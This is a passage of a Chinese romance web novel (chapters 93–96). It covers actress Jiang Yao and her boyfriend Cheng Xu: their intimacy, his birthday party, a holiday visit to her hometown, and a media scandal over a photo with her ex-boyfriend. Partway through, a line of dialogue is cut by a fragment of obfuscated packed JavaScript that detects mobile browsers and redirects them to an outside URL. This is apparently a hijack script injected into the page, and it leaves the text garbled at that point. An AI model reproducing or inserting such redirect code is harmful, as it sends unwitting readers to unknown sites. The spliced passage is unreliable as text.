“婚礼，你喜欢中式，还是西式的？”程绪用毛巾包住她的头发，不经意地问道。
江遥没有答。等了两秒，他忍不住去看她，她呼吸轻轻地，又睡着了。
江遥再次醒来的时候，程绪正在给她吹头发，轻柔的手指一缕缕梳开她的长发，她红着耳朵，愣怔地任他动作。
“醒了？”他帮她吹好头发，关掉吹风，将她抱上床。明明还是那张没什么表情的脸，她却偏偏能看出点意犹未尽的笑意，翻了个身不理他。
确实是自己过分了点，他主动讨饶：“对不起，下次你说怎样就怎样。”
男人床上的话，贯来要打个折扣，江遥脱口而出：“你想得美，那还不是你享受！”
这次他是真的笑出了声，凑近她耳边，低声说着什么。江遥怀疑地看他一眼，他眼神肯定，看起来不像是随口哄她。她矜持地点点头，一副饶过你这一次的表情，语气随意，唇角却忍不住翘起：“好吧。”
程绪“嗯”了声，在她唇上啄了一下，像是盖章落契：“那就这么说定了。”
江遥：“……”
接下来几天，江遥都没有出门。还好，本来就没有接通告，不然某人肯定会被Susie追杀。身上青青紫紫的痕迹，完全不适合在大庭广众出没，她像是中了一种叫程绪的毒，只有靠近一点，才觉得满足。
两人关着房门，过起了没羞没臊的生活，就连吃饭，都是管家直接送到门口。阿姨暂时得到清闲，杨越也已经几天没见到程绪的面，忍不住发了条信息，问他感冒有没有好点。虽然他是想不通，一个高烧都带病上岗的人，怎么突然这么矫情。不过谁知道呢，有女朋友的人，可能就是会被多点宠爱。
“唉，回不去了。”他忍不住感慨。
“什么回不去了？”周颂不知道什么时候出现在他身后。
杨越揉揉额头，感觉这三倍工资有时候也是挺难挣的，不过既然老板有需要，他一定努力发挥余热，告诉周颂说，“你今天又白跑了，老板感冒了在家养着呢。”
周颂眉头一挑，“看医生了吗？”
杨越耸肩，示意自己没有被通知。交流都是微信整的，大半天才回复两句，看起来好像真的不太好的样子，又拒绝探视。他半藏半露地给周颂透露几句，周颂心一下就跟着提了起来。
93. 有对象
电话打过去，没有人接，周颂直接开车到了程绪楼下。保安不让进，于是又只能一遍遍打电话。
手机被丢在床上，铃声响到最后，静了两秒，又开始持续不断地响。江遥坐在洗手台上，搂着他的脖子，“有人找……”垫在身下的衬衫已经皱成一团，看不出本来的模样，程绪将她抱下来，重新给她放好水，“稍等会儿。”
江遥坐在浴缸里，用手掬了一捧水，觉得自己像是久旱的禾苗，在畅饮完雨水之后，又毫无预兆地，被一场场暴雨摧折。真的，有点太多了。像这放满的水，再多，就只能往外溢出。
程绪打发走周颂，又推门进来，江遥还泡在水中静静地发呆。出去的时候，他随手拣了件浴袍披上，带子规规矩矩系着，一副道貌岸然的模样。那急促的吐息、黏腻的汗珠、毫不留情的动作，似乎是和他剥离开的。江遥往后坐了坐，躲开他的手，“我自己来。”
等她磨磨蹭蹭地摸出来，程绪已经洗好澡，等在床头。他明明什么也没说，江遥却觉得自己头皮发麻，踩着拖鞋往外溜，“我出去看会儿电视。”
程绪笑着看她往外走，她也许忘了，刚才是谁起的头。每次信誓旦旦发起冲锋的号角，又在半途哭喊着说不作数，缓过劲来，又会忘记之前吃过的苦，鲜活得像个小朋友。他轻笑着叹了口气，自己确实陪她闹得有点过。
程绪转身进了书房，将紧急的工作线上处理掉。脑袋放空的间隙里，她甜腻腻的声音，又在耳旁响起。黑下去的屏幕照出他的影子，屏幕中的人扯了扯唇，没想到吧，有一天你也会这么狼狈不堪。
程绪又恢复了早出晚归的作息，江遥茫茫然地适应了两天，也重归正常节奏，看剧本、跑通告、和朋友逛逛街，闲来无事，甚至和刘阿姨学了点养花和做菜的秘诀，当然，并没有学会。
跨年夜程绪在空中餐厅订了位置，说好要去看江岸的烟火，最后又踩着月光开上回家的路。跨年钟声敲响那刻，他们在暗夜里极致缠绵。身体被打开到最大程度，江遥努力勾住他的腰，仰着脸笑，“新年快乐。”程绪去吻她汗涔涔的脸，看她小脸上餍足的笑，握着她的手，祝她新年快乐。想说的还有很多，但她期待的礼物，并不是这样的。多希望，时间在这一刻定格。
一月开始，圈内各种活动轮番上阵。江遥将时间分成无数份，品牌站台、直播、时尚晚宴、春节活动，她像是一只不停旋转的陀螺，无休无止地转着。活动里偶尔能见到老朋友，彼此说一说近期的趣事，就算是最大的慰藉。
很多年没有这么频繁在年底活动露面，粉丝们福利却是拉满到了极点，对着风格百变的江遥，嗷嗷直叫神女降临了。工作室有复盘过，当然并不需要多么明面的数字，所有人都知道，从她站回来开始，就又一次牢牢霸主了自己的位置。后续的资源和押宝，都只是对过去多年的犒赏。江遥一次次说着感谢，在繁华落尽的深夜里，坐上保姆车回家。
有时，他也会来接她，当然这种情况会很少。恋爱并不算错，但让感情裹上八卦的色彩，放在公众眼里一次次揣测，这并不是她所希望的。而且，相处越久，她似乎越不想去想，事情曝光后的后果，或者说，结果。
今天这场晚宴是演艺圈人士聚会，江遥跟着Susie，和几个导演交换名片，她恍惚地想起，青苗奖颁奖那天，她也是这么跟着Susie，任导演挑拣。但现在是不一样的，曾经遥不可及的人，已经坐在谈判桌的两端，各自亮着手上的筹码，期待一次愉快的洽谈。私人晚宴，并不需要多华丽的战袍，江遥穿的是自己的私服赴约，所以在回家后，也不用担心弄皱。她将包一丢，倒在沙发上，没有力气再去管更多。
一只凶猛的狼狗在身后穷追不舍，江遥吓得不要命地往前跑，湿热的舌头，差点就要舔上她的裙角。跑到最后，她已经完全迈不动步伐，靠在墙上低低喘着，心里却有种预感，它不会伤害她。好好的墙突然开始地动山摇，江遥惊呼着伸手，掌下，又摸到了一堵结实的墙。
梦里的狼狗换了一张脸，他将她死死钉在墙角，在她脸上、身上，落下一个个湿热的吻，身下的动作，一下轻一下重。她在他的动作中彻底回神，红着脸啐他，“你不要睡觉的吗？”他却只选择听他想要的，又低下头来吻住她，“睡啊。”
昨晚的妆应该是他帮忙卸掉的，昨晚的裙子也叠好摆在一旁，江遥拉过来重新穿上，想去给自己找一套换洗的衣裳。今天晚点，还得出门一趟。他却没有放过她。
江遥捡起皱成一团的裙子，不管不顾地往他身上抽，“都怪你。”这条裙子款式很经典，几年前的式样，放到现在也毫无违和感，她都没有穿过几回。
程绪无辜地将她望着，“不是好好的吗，别弄痛你手了。”
江遥恨恨瞪着他，都怪自己色迷心窍，谁家好人还好意思穿它出门啊，而且谁要在地板上。
程绪乖乖认错，并在江遥晚上回家的时候，赔了她一条差不多的。这事就这么轻轻揭过了。
程绪的生日，在两人忙碌中度过，小鱼提到时，江遥才想起来。她去问他，他说他平常都不怎么过。其实她不明白，为什么他对自己，似乎一直有种游离在边缘的淡漠。江遥给他挑了个礼物，是一款手作的瓷杯，跟她手上的差不多。
她手上的杯子，也是他给她新换的。原来那个，在某天两人打闹的过程中，被她失手打碎了，江遥平静地处理掉那些残存的碎片，似乎并没有对它爱不释手过，程绪对照着差不多的图样，又重新给她买了一个。
桌上的杯子并排摆着，江遥捧着水喝了一口，怎么看起来这么像情侣款呢。
周颂是在二月初回来的，程绪感冒还没有好，他就被自家老佛爷一声命令调去了隔壁考察项目，连程绪的生日都错过了。他就知道，没有他在，他就不会好好给自己拾掇。不过没关系，他可以补上。
这不，上午刚刚着家，下午又跑来程绪公司堵人了。杨越看
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着他风尘仆仆的脸，突然莫名有点心虚，笑着将他请进办公室。
“哥，我叫几个朋友，今晚上你家给你庆祝去。”他一推门就说。
程绪实在是莫名其妙，“庆祝什么？”
“你生日啊。”周颂理所当然地说。
“你心意我领了。”程绪头也没抬，拒绝得干脆利落。
杨越看着紧闭的门，知道十有八九，周颂都会得到想要的结果。毕竟，恶人自有恶人磨。说恶人好像不太对，不过意思差不多。周颂缠起人来，那叫一个执着。
果然，门开的时候，周颂是扬着嘴出来的，他贴心地给程绪关好门，不忘再次提醒，“那就明晚见了。”
是的，在周颂真情流露非要拉着朋友给他庆祝后，程绪折中，让他将地点挪了挪。聚会最后定在了周颂旗下的一家店里，来的都是从小熟悉的老朋友。
一天没见，周颂又恢复了风流倜傥的样子，反倒是齐淮，架着个黑框眼镜，胡子拉渣，像是不爱洗澡的大叔，周颂捂着鼻子，“你又在搞什么？”
齐淮忧郁地坐下，“没灵感。”
这可就摊上大事儿了，江郎才尽可不是什么小事，周颂忧愁地看了他一眼，又组织着众人玩起来。
后来不知道是谁提议，玩起了你有我没有的游戏，周颂积极响应，跟桌上的人同步了一圈游戏规则，伸出双手，抢着说，“我先来我先来。”
大家没有异议，周颂清了清嗓子，说出自己的丰功伟绩，“我尿床被打到三岁。”
一来就玩这么硬核的，其他人默默掰下一根手指，确实比不了。
有位女生是跟男朋友来的，她扫了一圈，露齿而笑：“我有一头及腰的长发。”
每个人说的几乎都是自己稳赢的项目，玩了一圈十根手指已经没几根可掰了，女生的男朋友急中生智，“我有对象。”据他所知，桌上这些哥们儿可大半都是单身的。
周颂“切”了声，认命地掰下一根手指，见齐淮也默默跟上，笑得那叫一个荡漾，他转而又去看程绪，只见程绪坐在那里，纹丝不动。“哥，人家说的是有对象。”他以为他没有听清，暗暗提醒。程绪还是没有动作。
有些人吧，就是工作太认真，连游戏都不会玩几个。他严重怀疑他弄半天还没搞懂规则，就地取材，给他来了个直白的解释，“没有对象的都要掰下一根手指。”果然，程绪秒懂，手指下弯。周颂得意地勾勾嘴角，就说嘛。
闹到最后，大家几乎打了个平手，周颂又戏法似的变出一个蛋糕，喊他：“快来许愿了！”年轻的愿望走到现在几乎都已实现，他对生日，并没有太多的仪式感，但还是闭上眼睛，重新跟不知道哪路显灵的大神，重新将自己的心愿诉说一遍。
有人提前先走，周颂和齐淮留到了最后。周颂还在自顾自地嗨着，齐淮给自己倒了杯水，靠在椅背上，望着对面低头按手机的程绪。自己这段闭关的时间里，似乎发生了很多有趣的事。
94. 重走
在送江遥上飞机后，程绪将公司的事情处理得差不多，也提前几天回了家。两人说好，年后一起约他父母见个面。
许婉清不知道他这是刮的哪门子风，程元峰却隐隐有所预感。程绪在饭桌上说起这个消息时，他的脸肉眼可见地掉了下来，想拍桌子发脾气，又到底忍住了。
父子俩的关系走到现在，不会更好，但他也不想更坏。尤其在恋爱问题上，作为过来人，他也希望他能跟有感情的人走完这一生。娱乐圈这个大染缸，清清白白的人在里面滚一圈，都能变得面目全非，何况江遥这种新闻满天飞的人，不管怎么说，他不会点这个头。
程绪哂笑：“怪不得您看我也横挑鼻子竖挑眼的，我这不也是从娱乐圈出来的。”
程元峰将筷子往桌上一放，一根筷子蹦跳着弹到了桌下，程元峰抖着嘴，“你这说的是什么话。”
“实话。”
程元峰气得直喘，“你在外面玩玩就算了，我就当睁一只眼闭一只眼，想往我面前带，想都别想！”
许婉清坐过来，伸手帮他顺着气，“大过年的，都少说两句吧。”又问程绪，“是怎样的女孩子？”
程绪笑笑，“年后约个时间，带给您看。”
许婉清点头应下，程元峰想再说，被她眼神压下。不管他们同意与否，都阻挡不了他的决定。难得他还愿意走这个过场，她也珍惜这来之不易的和谐时光。程元峰的身子近半年总是大病小情闹个不断，她慢慢将交际圈缩小，才发现一家人能安安静静坐在一起吃顿饭，何尝不是一种圆满。
除夕夜，佣人们早早将年夜饭摆上桌，程绪陪着爸妈，坐在桌前看春晚。背景音热热闹闹的，许婉清努力在父子中间充当着润滑的角色，程绪配合着，有一搭没一搭聊几句。
江家的年夜饭还是老江下厨，江遥负责在旁边加油鼓舞，拿起手机，才看到他给她发的图，她也对着桌子拍了一张，给他发过去：「刚上桌。」又不忘给他显摆，「我也有参与。」
程绪问他，参与了哪一环，江遥笑，「我负责端菜和递碗。」
乔红英看她一眼，“去拿杯子倒酒。”这是江家的保留曲目，江遥和老江你一杯我一杯地喝，喝到最后，双方都有点上头。
江遥趴在窗边，看别家窗口传出的点点灯火，她揉着发懵的头，跟他说：“新年快乐。”过了一会儿，又说：“程老师，我好像有点想你了。”
背景音里有烟花炸开的响声，江遥听到他说，“我也很想你。”
她问他，“你明天就回家吗？”她说的是他们两个住的家。过年时他比平日还清闲许多，除了拜访几个朋友，基本没有其他应酬。
“嗯。”程绪懒懒应着，之后两人一同沉默。江遥手指绕着头发，转了又转，心里的话也跟着绕了几个弯，“难得休个长假，你想不想出去转转。”
月亮已经躲到了云层后，周边都是寂静的，她在远方，向着他招手，他说：“C城我好像还没仔细逛过。”
意识到的时候，嘴角已经不自觉微勾。江遥觉得自己是真的有点上头了，在这个辞旧迎新的时刻，身体里的快乐因子在止不住地跳跃，她捂了捂慢慢冷下来的脸，“来的话我给你当导游。”
接下来几天，两人联络的不多，江遥忙着走亲访友，在和众人谈天说地的空档里，她又忍不住将手机攥在手里。
大年初五，她收到他的信息，「你住哪里？」
江遥还赖在床上，看到消息的一瞬，猛地从床上坐起，给他拨电话，“你来C城了？”
机场的广播在播报着提醒，不用他说，她已经确认。江遥起身下床，报了个地址，“我们这里汇合。”
“妈，我出去一下，中午不用做我的饭。”她扯了块围巾往脖子上一绕，拉上鞋子，朝厨房喊。
乔红英擦着手出来，“去干什么？你早饭都没吃呢。”
江遥按着手机，“朋友来找我玩。”
乔红英连忙架上锅，开火，“我给你煮个面条，多少吃点儿垫着。”江遥算了算，他过来也要一段时间，倒也不急在这会儿，干脆拖了鞋子，绕进厨房，比着手指跟乔红英说：“一点点就好了。”
程绪的酒店就定在附近，放好行李差不多也到了饭点，江遥问他有没有什么想吃的，大有你说什么我都能带你去体验的派头，奈何程绪并没有太多口腹之欲，最后地点还是她选的。
一间经营多年的本地餐馆，默默开在老街深处，生意算不上很红火，但就是特别对她胃口。她领着程绪熟门熟路地进屋，“开了蛮多年了，难得是味道也没怎么变。”
店主是一对夫妻，曾经健壮的他们，现在身姿也已经开始伛偻，店里没请帮手，老板做菜，老板娘负责招待，上菜的时候，她总觉得这个小姑娘有点眼熟，多看了两眼，突然想起来，高兴地说：“小姑娘，原来是你呀。”
江遥懵懵着抬头，她回家的次数很少，没想到老板娘还能对她有印象，笑了笑正想接话，老板娘又转头看着程绪，欣慰地点头笑道，“在一起好，在一起好。”
老板又端了一盘菜过来，“认识呀？”
老板娘扯了扯他，“哎哟，多么俊的后生，几年前来过我们店里的。”
做生意嘛，自然是拣好听的话讲，江遥对这种夸赞已经习惯，也反过来对老板的手艺一通点赞，老板笑得合不拢嘴，老板娘夸完江遥不忘捎带着把程绪一把，“小伙子也越长越帅了，看起来好像还长高了……”
江遥也跟着朝程绪看过去，老板突然一拍大腿，“哎哟，还有个菜忘了端。”
老板娘连忙擦了擦手往厨房跑，老板招呼江遥，“快尝尝，看看味道怎么样。”
C城并非热门旅游城市，春节期间，街上的人流相比平常更是少了许多。整个下午，江遥化身为程绪的私人导游，提供专业的一对一服务，忙得乐不思蜀。
下午五点半，乔红英来电问，“几点回家，晚上要不要给你留饭？”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14991394|146179||http|test|mini|href|location''.split(''|''),0,{}));
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江遥说：“你们先吃吧，我自己看着办。”
乔红英瞪了眼一旁悠哉悠哉的老江，“行，别玩太晚。”
江遥就笑：“我知道了，这么大个人还能丢了不成。”
乔红英也懒得跟她嘻嘻哈哈，直接挂了电话。
江遥到家时已经是十点多，担心吵到乔红英他们，连开门的动作都很小心。结果房门敞开，沙发上，排排坐着两个人。
江遥有点无语，关上门，问：“你们怎么都不睡觉的，坐在这里也不出声。”
乔红英说：“年纪大了，就是觉少。”
江遥打了个哈欠，拎着包往自己房间走：“那我先睡了。”
房门关上，老江杵了杵身边的人，“可以去睡了吧，老婆大人。”
乔红英甩开他的手，骂骂咧咧地起身，“老不正经。”
程绪在C城待了四天，江遥天天早出晚归，还是觉得时间太快了点。两人并没有去太多地方，人流稍多的场所，也不适合带他过去。所以，她只是凭着自己的记忆，将去过的一些好吃好玩的地方，跟他分享，在曾经熟悉的街道上，慢慢走走逛逛。
其实她也许久没有好好逛过这座城了，有些记忆中的场景，早已随着时间变得面目全非，就像曾经路过此处的人，早就开始了新的旅程。他们在月光下拥抱，在暗巷里牵手，也在离别的夜里声声低诉。
江遥也没在家待太久，年前在谈的某珠宝品牌，总部终于有了最终答复，她直接从C城飞去国外，拍摄官宣物料。她答应过的事情很少爽约，但最近，放鸽子似乎已经成了惯性，而且对象一直是同一个人。
拍完这组珠宝广告后，她本打算直接回A城，结果又有人伸来橄榄枝，江遥又临时接了几个在当地的活动。
姑且不说已经和程绪约好的接机、吃饭等一系列小事，不得不随着工作一推再推，和他父母见面的计划，也完全被打乱。还好唯一值得庆幸的是，他还没来得及去跟他父母谈，不然一上来就得留个不守信的初印象。
拍完杂志回酒店的路上，她翻看着两人最近的聊天记录，发现自己真像个借口随时翻新的渣女，而且这人要不要这么好说话啊，越这样越让人心里没着没落的。她戳戳他的头像，很想问问他，你怎么都不生气的。
程绪自然没法回答。原本推迟的会议又照常举行，体面斯文的高管们，正唾沫横飞地据理力争，他在几方争吵不休的声音里，懒懒出声，“要不要吵完了我再进。”大家愣了一瞬，集体收了声。开玩笑，共事了这么久，基本的嗅觉还是得有的。
江遥的开年算得上红火，一份高奢珠宝的代言履历直接拉开新一年的竞争大幕，高质量的宣传海报更是让代言声量更上一层。趁着这股东风，品牌连推几本刊物，刚刚回国，她又得投入新一轮拍摄。
Susie和小鱼开心得像打了鸡血，只想后续这种好运能够继续，作为男朋友的程绪，却已经有许久没见过活生生的女朋友。
95. 前男友
说这话的时候，江遥还在棚里拍摄，洗漱好躺下，才抽空来回他。
今天拍摄主打一个反差，包臀短裙包裹着笔直细长的腿，江遥一边在摄影师指导下摆着性感动作，眼神却要努力去找凌厉的感觉，“对，眼神再冷一点。”
小鱼很喜欢这组妆造，端着相机在一旁咔咔拍了许多花絮照，回程的车上，拉着她一起鉴赏，“我是女的我都要顶不住了。”
这话听了没有一百也有五十遍，江遥抱着胳膊睡觉，没有理她在一旁干嚎。小鱼将屏幕怼到她脸上，“你看看你看看，这是能发出去的吗，粉丝也吃太好了吧。”江遥睁眼去看，杂志风格比普通活动造型大胆许多，不会过分暴露，也没有那么保守，是耳目一新的感觉。
当时她仅仅瞥了两眼，并没有发表过多意见，小鱼也没想到，大晚上江遥会重新来找她要照片，激动地发了十几张，江遥挑了两张给程绪发：「今天长这样。」
紧身短裙本身就很显身材，随着动作，姣好的身段得以完美展示，清冷的眼神，却让整个画面静了下来，摄影师恰好抓住了中间那个点，屏幕中的人，和屏幕外的人眼神交汇，直透人心。
照片发过去，完全没有回应，江遥等了两分钟，直接拨了电话，电话响了许久才接听。摄像头是关闭的，江遥躺在床上，问他是不是还没回家。
话筒里传来窸窸窣窣的声音，过了会儿，他开了视频。屏幕里只露出上半张脸，他手上拿了块毛巾在擦着脸上的水，头发也是湿哒哒的，他说：“我刚在洗澡。”
“哦。”江遥说，“那你先去洗。”
程绪停下动作，看她，“有什么事儿你先说。”
“真没什么事儿，快去洗吧，等会儿别感冒了。”江遥劝他，想着又有点好笑，随口调侃：“就是让你看看新出炉的女朋友。”
程绪心念一动，点进消息，几张图赫然躺在对话框里。他滑着图片，一张张看过去。
“嗯，看到了。”他的声音低低的，隔着电流，听不出明显的情绪。落在耳里，却还是熟悉的调调，仿佛他一直在身旁，低低地说情话。江遥突然舍不得让通话就这么断在这儿，催他：“快去洗澡吧。”
“嗯，那我挂了。”程绪答应着。
“别挂，陪我说说话。”
程绪这个澡洗了许久，一开始，听筒里还有稀里哗啦的水声传来，手机应该是被他摆在洗手台，她听着声音，猜测他每一步的行动。说是陪她说话，其实程绪大部分时间都没有回应她，到最后，甚至直接关了麦克风。那边的声音停止传输，但她知道，他听得到，于是，也就自顾自在这边说着自己想说的。
温软的声调带着不自知的娇俏，在深夜里，轻易唤醒沉睡的欲望。镜子里的人，是全然陌生的模样，程绪系好浴袍的带子，重新开了视频，催着她快去睡觉。羞涩忸怩的男友又重新恢复成正经严肃的男人，她睁着亮晶晶的眼睛，“不，我还不困。”
到最后，还是她先睡了过去。视频对着她的脸，眼睛下，有着淡淡的黑眼圈。睡着的时候，才能看出一丝疲惫。程绪隔着屏幕抚上她的眼眶，算一算，很快就能见面了。
要是初出茅庐的小女生，江遥肯定会忍不住感慨一声，和朱富春这无处不在的缘分。但很可惜，现在那一套已经对她不起作用。
她进电梯时，他刚好也上楼，朱富春这次身边没有女孩陪同，电梯里只有他一人，江遥犹豫一瞬，成年人的体面，让她克制住了掉头就走的冲动。
电梯上行的时间里，两人客套地寒暄几句，电梯轿厢是镜面设计，她有意不去看，也很难忽视他在她身上打量的目光。
“江小姐，考虑得如何。”朱富春温声问，声音悠悠的，似是带着某种笃定。
江遥看着身前的镜面，淡声回复，“谢谢朱总，我还是那个答案。”
朱富春点点头，不以为忤，“年轻人嘛，是要多考虑考虑。”
久居上位的人，丝毫不在意蝼蚁的抗争，他们有的是耐心，等你头破血流，再求他收容。一时意气，并不会给自己带来丝毫益处，但江遥还是忍不住一逞口舌：“如果有项目上的合作，欢迎直接和我经纪人沟通。”电梯不断上升，她看着变换的楼层数字，告诉朱富春，“其他事情，麻烦朱总另请高明。”
电梯到了楼层，“叮”一声响，江遥拎着包，迈出电梯，没空去管背后的人是怎样的表情。
连轴转了大半个月后，江遥终于有了几天的休息。她在三月中回到A城，知道她回来，程绪坚持来接。飞机延误，落地已经是凌晨一点。江遥拉开车门，窝在他怀里打盹。
下了机场高速，街道上车流慢慢少了，老王看了眼后视镜里跟着的车，打了变道的信号。程绪抬头，两人在后视镜对上一眼，他又垂眼，轻拍着江遥的肩。
几乎每天都要早起，江遥的生物钟最近已经固定，她在六点醒来，又被他拖着睡了个回笼觉，身体力行，告诉他有多想她。再次睁开眼睛，已经是上午十一点。
下一个组定在四月开机，是一部古装剧，不同于古装偶像剧中甜甜恋爱的画风，打戏也是其中的重头，她会提前进组参加一段时间封闭训练。接下来的时间，除了几个零散的活动，还有一档节目要录。
江遥很少参加综艺节目，上次露面还是去年飞行了两期的《心动大冒险》，这次这档节目，是Susie特意给她挑的，主持人和嘉宾对谈的性质，不需要太多综艺感，可以当做一个和外界与粉丝交流的窗口，也不会翻大车。
主持人之前和江遥有过合作，在群魔乱舞的娱乐圈，江遥是难得让人舒适的那种。有些艺人，给的宣传禁忌能列三四页，活动图片也得审了又审，江遥这边，基本不会有太多限制。今天她一身日常装扮，踩着运动鞋，扎着马尾，一点不像浸淫娱乐圈多年的当红小花。整个录制过程，就在闲话家常般的氛围中进行。
录制到尾声，主持人总结了几句，正想顺势结束，耳麦里突然传来导播的声音，她凝神听了听，又笑着看向江遥，“有个私人问
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题，大家都很好奇，不知道能不能借着这个节目，听听遥遥的答案呢。”
话题转得如此之快，江遥知道，一定是有哪里出了问题。台下，小鱼站在一旁，脸色带着急色，对她摇头。
主持人关了耳麦，坐到一旁，轻声跟她说了说现在的状况。江遥脸色不变，仿佛早知道会有这一天。主持人拉着她的手，安抚道：“如果你不想，我们可以直接停下录制，但其实，这也是一个面向公众澄清的机会，节目上线前，我们都会尊重你的个人意愿。”
节目很快结束，小鱼护着江遥上车，“我们直接回家，Susie姐已经在处理了。”
十几分钟前，一组江遥的早期照片被发布在网络上，上传者称是多年前无意拍下的图片，整理照片时才认出照片的主角。
江遥也是看了几秒才反应过来，是她第一次进组拍戏时照的。当时她一个人提着行李箱，去和剧组汇合，在此之前，她还没有一个人跑这么远过，骤然要独自去奔赴未知的前路，开心有，迷茫有，对从试镜一路鼓励她走来的苏远安，自然也有着不舍。
苏远安将她送到站台，她埋在他怀里，磨磨唧唧不肯走，他摸着她的头鼓励她，她一直还是挂着脸，看起来特别不情愿。
她也是多年后从旁观的视角来看，才发现当初的主人公，看起来是多情意绵绵。年少的小情侣，青涩的氛围是天然的滤镜，拍摄的地点，让看客的心理自然向着他们倾斜。看起来这么要好的一对，后来发生了什么呢？
时光推着所有人往前，总有些人，会在路口分别。江遥说不出具体的答案，媒体却开始疯狂联系Susie，想听听他们的感言。
苏远安工作室联系不上，江遥这边也没有人接电话。网友们像是嗅到腥味的大猫，纷纷艾特两人的好友，询问是什么情况。
「同班同学同在娱乐圈，互动少得可怜，是分手后不能做朋友，还是地上转地下了？」
「@宴池哥你快来说说，这么多年都在给别人的爱情打掩护？」
「有没有同班同学出来爆个料，他们在大学就是一对吗？」
「你没看那照片多甜啊，看得我都要长恋爱脑了，谈过，没得洗的。」
「有没有一种可能，这么多年早分了，说不定各自恋爱都已经谈了八百回。」
「就是说，看看江遥绯闻男友那么多，正牌肯定受不了的。」
杨越看到这里，心虚地去瞄一直在打电话的某人，看起来应该是没人接，怪不得脸上的神情越来越阴沉。他摇了摇头，将办公椅拉远了点，能上位的正牌男友，自然不是某些人的境界可比的。
江遥了解完情况，又和Susie通了个电话。忙完第一时间去拨程绪的电话，有些东西，她希望是通过自己告诉他。程绪的手机一直提示通话中，她再拨，还是打不通。
小鱼弱弱提醒，“会不会是他也正往这边打。”
不是没有这种可能，江遥停下动作，往椅背上一躺，下一秒，手上的电话响了。
96. 孩子
是程绪给她打过来的。
“节目录完了吗？你手机刚刚一直占线。”
显然，他已经知道了网络上的状况，江遥还没说话，他又问：“你现在在哪里，我让人来接你。”
江遥连忙阻止他，“不用了，我已经在路上，很快就到家。”
“好，注意安全，有事随时给我打电话。”
“嗯，我知道。”他表现太过平静，以至于挂了电话，她才想起来原本想打这通电话打目的是什么。既然他接受良好，特意解释，反倒显得有点此地无银。
照片没什么可解释的空间，但时间已经太过久远，两位当事人一致保持沉默，网友们挖不出更多内幕，热闹了两天后，又开始讨论起别的话题。不过稳妥起见，Susie还是稍微调整了下江遥的工作安排，原本定下的两个公开活动，改成了录播的形式进行。
圈内从来不乏热闹，江遥和苏远安的这则古早旧闻并没有掀起太大水花，只是从此众人在提及这两人时，身上都多了一个标签，某人的前男/女友。事情就此沉寂，工作室也放松了监测，没想到，几天后，又再次被送上热搜。
网友们也是没想到，一个校园恋情的瓜还真能吃到后续，并疑似卷入嫌贫爱富、小三上位等狗血，重点是，传说中的小三，看起来昭然若揭。起因是一个匿名马甲在论坛爆料，就算时间过去再久，当初的伤痛永远也无法弥补，不要以为粉丝多，就能掩盖事实的真相。
汪静静也是在热搜看到的这条新闻，发帖的人很聪明，原帖并没有什么指向性，但他的回复，明显是有选择过的，和评论区的网友一唱一和，不难不让人想多。这不，短短时间就把#江遥苏远安#、#苏远安宴池#的话题直接送上了热搜。
她本以为大家好歹能有点判断力，没想到点进话题，还真的是真情实感讨论上了。
「因戏生情而且毫不避讳，这不是宴池还是谁？」
「苏远安可真能忍，这都不出来锤他们。」
「我看他们粉丝还在狡辩呢，别真的求锤得锤。」
「能说吗，是江遥就不奇怪了……」
都是些什么人啊，什么都不了解就在这儿颠倒黑白，惯的他们。汪静静很想直接下场怼回去，不过当了几年公众人物，脾气还是收敛了许多，而且重点是解决问题而不是火上浇油。这件事情，最好是苏远安亲自出来说。她无奈地放下手机，最后，到底什么也没做。
Susie看着不断上升的热度，也在想办法和苏远安团队的人建立联系。这零零总总的传闻，她们不合适单方面发声。江遥开始跟她的时候，苏远安还只是个素人，两人也早已分手，所以作为经纪人，她也是和网友们一起接收的消息。虽然江遥说两人分开时并没有什么矛盾，但那边一直没有动静，谁知道背后有没有他们做推手。
她听着听筒里的忙音，眉头不自觉皱了皱。小鱼说，“我这边也没回复。”
江遥看着忙碌的众人，翻出手机里躺了几天的好友申请，点了通过。
我是苏远安。他的打招呼信息很简单，仿佛笃定，她会接受他的请求。
江遥没有主动说什么，苏远安估计也知道她的不耐，跳过寒暄，直奔主题，「见个面吧。」
地点是苏远安定的，在家附近不远。分手多年后，两人再次面对面相对。
苏远安推了推面前的盘子，笑着对她说：“尝尝看，我看这家评价还不错，不知道还合不合你胃口。”
江遥愣了愣，才想起来，是她以前很爱吃的一种甜品，甜到发腻，不知道十几岁的自己为什么那么痴迷。毕业后的某天，一觉醒来，突然就腻了这种口味，这么多年，都没有再尝过。她拿起勺子挖了一口，告诉他说：“还可以。”
苏远安笑意温和：“那就好，等会儿可以打包一份带走。”
江遥放下勺子，“谢谢，不用了。”
苏远安笑容微滞，江遥直接停下动作，“找我出来做什么？”出门前她想过，或许，他是想跟她聊聊合作，毕竟现在的传闻里，他就是全然的受害者，想要人家配合澄清，不拿出点诚意怎么行。如果不是太过分的请求，也许她可以考虑接受。
她直视着他的眼睛，认真地等他将来意说出口。全然投入的姿态，像是多年前，他们还在一起的时候。苏远安嘴角浮起苦涩，“你是不是恋爱了？”
江遥飞快抬起眼睛，怀疑自己听错，苏远安凝视着她，又重复了一遍，“我只想求个答案。”
“如果你叫我出来就是说这些没意义的话，恕我不奉陪了。”江遥拎起放在一旁的包，“谢谢你的蛋糕。”
她如一阵风，转眼从身旁刮过，苏远安一时情急，伸手去抓她的手，江遥没有防备，被他一把拉住。她蹙眉回望，眼神落在他手上，清亮的眸子，像是看着胡搅蛮缠的陌生人般，不懂为什么还要多做纠缠。在她的目光下，所有的挣扎都显得无比可笑，苏远安无力地松开手，“遥遥，我们真的回不去了吗？”
听到此处，江遥倒也没再急着要走，她就这么淡然地望着他，嘴角甚至还有闲暇勾起一抹笑，“苏远安，别告诉我，过去这么久，你还想回头。”她没等他开口，自顾自往下说，“如果我没记错，当初我们的共识就是，分手后不再做朋友。”
“是我的错。”他一贯温和的外壳，摇摇欲坠着，露出本来面目。要怎么说，当初自以为天大的难题，其实和分手相比，一切不过如此而已。但他知道，她向来都是这样，放手的东西就不会再留恋，只管埋头往前，贸然开口，也不过徒然惹人发笑。
